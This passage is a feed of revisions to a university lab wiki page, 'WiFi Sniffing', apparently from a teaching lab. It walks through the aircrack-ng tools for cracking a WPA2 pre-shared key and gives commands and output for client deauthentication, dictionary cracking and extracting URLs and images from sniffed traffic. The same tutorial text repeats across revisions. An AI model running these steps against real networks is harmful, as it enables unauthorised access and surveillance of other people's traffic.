Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8257</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8257"/>
		<updated>2021-12-17T12:17:08Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Prerequisites */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID: &lt;br /&gt;
*Channel used by AP: 11&lt;br /&gt;
*Wireless interface: wlan0mon&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]&lt;br /&gt;
&lt;br /&gt;
=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===&lt;br /&gt;
&lt;br /&gt;
In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).&lt;br /&gt;
One can use a dictionary which comes with aircrack-ng called &amp;quot;password.lst&amp;quot;. But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap&lt;br /&gt;
&lt;br /&gt;
-w password.lst is the used dictionary&lt;br /&gt;
-b is the BSSID of the AP&lt;br /&gt;
The wildcard at the end of CapturedData is because aircrack-ng created multiple files&lt;br /&gt;
&lt;br /&gt;
The ouput looks as follows:&lt;br /&gt;
&lt;br /&gt;
            Aircrack-ng 0.8&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                 [00:00:00] 2 keys tested (37.20 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                         KEY FOUND! [ AKITs1!]&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
    Master Key     : &amp;lt;Master Key&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
    Transcient Key : &amp;lt;Transcient Key&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
Display your wireless interfaces:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Connect the external Wi-Fi adapter to your host computer.&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
The newly added interface in the list is the external adapter. In my case it was &#039;wlan1&#039;. In the following steps I refer to the external adapter as &#039;wlan1&#039;.&lt;br /&gt;
&lt;br /&gt;
Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan1&lt;br /&gt;
&lt;br /&gt;
The previous command creates a new interface called &#039;wlan1mon&#039;. Verify with:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
&lt;br /&gt;
Display active Wi-Fi networks:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan1mon&lt;br /&gt;
&lt;br /&gt;
Remember the channel of the network you want to attack. In my case it was channel 11.&lt;br /&gt;
&lt;br /&gt;
Set your adapter to the appropriate channel:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon channel 11&lt;br /&gt;
&lt;br /&gt;
Verify the frequency:&lt;br /&gt;
&lt;br /&gt;
 iwconfig wlan1mon&lt;br /&gt;
 iwlist channel&lt;br /&gt;
&lt;br /&gt;
Start capturing data:&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --channel 11 -w alfa wlan1mon&lt;br /&gt;
&lt;br /&gt;
Filter URLs from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMehlfuehrer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8256</id>
		<title>WiFi Sniffing</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Sniffing&amp;diff=8256"/>
		<updated>2021-12-17T12:16:30Z</updated>

		<summary type="html">&lt;p&gt;MMehlfuehrer: /* Step 4 - Use aircrack-ng to crack the key using the collected handshake */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*). &lt;br /&gt;
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.&lt;br /&gt;
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]&lt;br /&gt;
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]&lt;br /&gt;
*&lt;br /&gt;
&lt;br /&gt;
== Prerequisites==&lt;br /&gt;
&lt;br /&gt;
The following information of the hardware used is needed:&lt;br /&gt;
*MAC of PC running the attack:&lt;br /&gt;
*MAC of a wireless client in the network:&lt;br /&gt;
*BSSID:&lt;br /&gt;
*ESSID:&lt;br /&gt;
*Channel used by AP:&lt;br /&gt;
*Wireless interface:&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
=== Overview ===&lt;br /&gt;
The following steps are needed to get the password:&lt;br /&gt;
&lt;br /&gt;
1) Use monitor mode on the wireless interface using the AP channel&lt;br /&gt;
&lt;br /&gt;
2) Using airodump-ng on AP channel, collecting needed handshake&lt;br /&gt;
&lt;br /&gt;
3) Use aireplay-ng to deauthenticate a wireless client in the network&lt;br /&gt;
&lt;br /&gt;
4) Use aircrack-ng to crack the key using the collected handshake&lt;br /&gt;
&lt;br /&gt;
=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===&lt;br /&gt;
&lt;br /&gt;
To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]&#039;s tutorial&lt;br /&gt;
&lt;br /&gt;
Open a terminal and type :&lt;br /&gt;
&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:&lt;br /&gt;
&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0           ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
&lt;br /&gt;
The next step is to switch to monitor mode. Syntax: airmon-ng start &amp;lt;interface&amp;gt; &amp;lt;channel used by AP&amp;gt;. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0 &lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 Found 2 processes that could cause trouble.&lt;br /&gt;
 Kill them using &#039;airmon-ng check kill&#039; before putting&lt;br /&gt;
 the card in monitor mode, they will interfere by changing channels&lt;br /&gt;
 and sometimes putting the interface back in managed mode&lt;br /&gt;
    PID Name&lt;br /&gt;
    605 NetworkManager&lt;br /&gt;
   2948 wpa_supplicant&lt;br /&gt;
 PHY     Interface       Driver          Chipset&lt;br /&gt;
 phy0    wlan0mon        ath9k_htc       Qualcomm Atheros Communications AR9271 802.11n&lt;br /&gt;
                (mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)&lt;br /&gt;
&lt;br /&gt;
Now we can check if the interface is in monitormode using iwconfig:&lt;br /&gt;
&lt;br /&gt;
 iwconfig&lt;br /&gt;
 lo        no wireless extensions.&lt;br /&gt;
 eth0      no wireless extensions.&lt;br /&gt;
 tun0      no wireless extensions.&lt;br /&gt;
 wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Power Management:off&lt;br /&gt;
&lt;br /&gt;
As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng &amp;lt;interface&amp;gt; we can monitor all AP&#039;s within reach. &lt;br /&gt;
&lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
The output presented shows all AP&#039;s with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used&lt;br /&gt;
&lt;br /&gt;
 CH  4 ][ Elapsed: 1 min ][ 2021-12-17 10:40                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                    &lt;br /&gt;
 68:02:B8:1F:A1:3A  -50       46       31    0  11  130   WPA2 CCMP   PSK  WLAN18250073&lt;br /&gt;
&lt;br /&gt;
Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).&lt;br /&gt;
&lt;br /&gt;
=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===&lt;br /&gt;
&lt;br /&gt;
Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w &amp;lt;filename&amp;gt;  &amp;lt;interface&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon&lt;br /&gt;
&lt;br /&gt;
Ouput:&lt;br /&gt;
&lt;br /&gt;
 CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38                    4-Way Handshake CAPTURED                                                                                                                                                                                                                                                                                                                                                                                                                        &lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  -48  24       63       62    2  11  130   WPA2 CCMP   PSK  WLAN18250073                                                                                                                                                                                                                                                                                           &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                                                                                                                                                                                                                                                                                                                                               &lt;br /&gt;
 68:02:B8:1F:A1:3A  5C:5F:67:29:51:76  -18    0e- 0e     3       62                                                                                                                                                                       &lt;br /&gt;
 68:02:B8:1F:A1:3A  66:60:B5:63:1F:B9  -58    0 - 1      0        2&lt;br /&gt;
&lt;br /&gt;
Note:&lt;br /&gt;
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#&lt;br /&gt;
&lt;br /&gt;
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.&lt;br /&gt;
&lt;br /&gt;
=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===&lt;br /&gt;
&lt;br /&gt;
A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.&lt;br /&gt;
Deauthenication is started with aireplay-ng -0 &amp;lt;number of deauths to send&amp;gt; -a &amp;lt;BSSID&amp;gt; -c &amp;lt;MAC of client&amp;gt; &amp;lt;interface&amp;gt;.&lt;br /&gt;
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon&lt;br /&gt;
&lt;br /&gt;
the output:&lt;br /&gt;
&lt;br /&gt;
 11:21:15  Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11&lt;br /&gt;
 11:21:16  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]&lt;br /&gt;
 11:21:17  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]&lt;br /&gt;
 11:21:18  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]&lt;br /&gt;
 11:21:19  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]&lt;br /&gt;
 11:21:20  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]&lt;br /&gt;
 11:21:21  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]&lt;br /&gt;
 11:21:22  Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]&lt;br /&gt;
